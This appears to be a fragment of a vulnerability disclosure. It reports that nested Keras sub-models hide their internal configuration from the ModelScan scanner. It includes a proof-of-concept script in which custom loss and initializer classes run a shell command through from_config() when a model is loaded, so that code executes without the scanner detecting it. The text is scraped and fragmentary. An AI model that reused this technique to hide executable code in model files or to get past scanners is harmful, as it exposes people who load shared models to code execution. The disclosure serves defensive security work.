Views
No views yet
class_name == "Lambda". When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure — including compile_config, initializers, regularizers, constraints — is completely invisible.NestedLoss>BadLoss) with malicious from_config()NestedInit>BadInit) with malicious from_config()1python3 -c "
2import tensorflow as tf, keras, os
3
4@keras.saving.register_keras_serializable(package='NestedLoss')
5class BadLoss(tf.keras.losses.MeanSquaredError):
6 @classmethod
7 def from_config(cls, config):
8 import os; os.system('id > /tmp/NL')
9 return super().from_config(config)
10
11@keras.saving.register_keras_serializable(package='NestedInit')
12class BadInit(tf.keras.initializers.GlorotUniform):
13 @classmethod
14 def from_config(cls, config):
15 import os; os.system('id > /tmp/NI')
16 return super().from_config(config)
17
18model = tf.keras.models.load_model('model.keras', safe_mode=False)
19print('Loss RCE:', os.path.exists('/tmp/NL'))
20print('Init RCE:', os.path.exists('/tmp/NI'))
21"layer.compile_config (not model.compile_config). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run.